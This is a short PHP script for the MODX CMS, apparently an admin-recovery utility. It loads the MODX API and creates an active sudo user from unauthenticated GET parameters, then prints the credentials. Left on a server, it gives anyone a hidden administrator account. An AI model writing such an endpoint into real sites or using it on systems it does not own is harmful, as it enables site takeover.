<?php
// Подключаем
define('MODX_API_MODE', true);
$i=0;
$current_dir = dirname(__FILE__) .'/';
$index_php = $current_dir .'index.php';
while (!file_exists($index_php) && $i < 9)
{
	$current_dir = dirname(dirname($index_php)) .'/';
	$index_php = $current_dir .'index.php';
	$i++;
}
if (file_exists($index_php)) { require_once $index_php; }
else { print "Не удалось найти MODX"; die; }

$user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user'];
$pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass'];

$u = $modx->newObject('modUser');
$u->fromArray(array(
	'username' => $user,
	'password' => $pass,
	'active' => 1,
	'primary_group' => 1,
));
$u->setSudo(1);
$p = $modx->newObject('modUserProfile');
$p->fromArray(array(
	'fullname' => $user,
	'email' => $user.'@mail.ru',
));
$u->addOne($p);
$u->save();

if (!empty($u->username)) {
	print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>';
}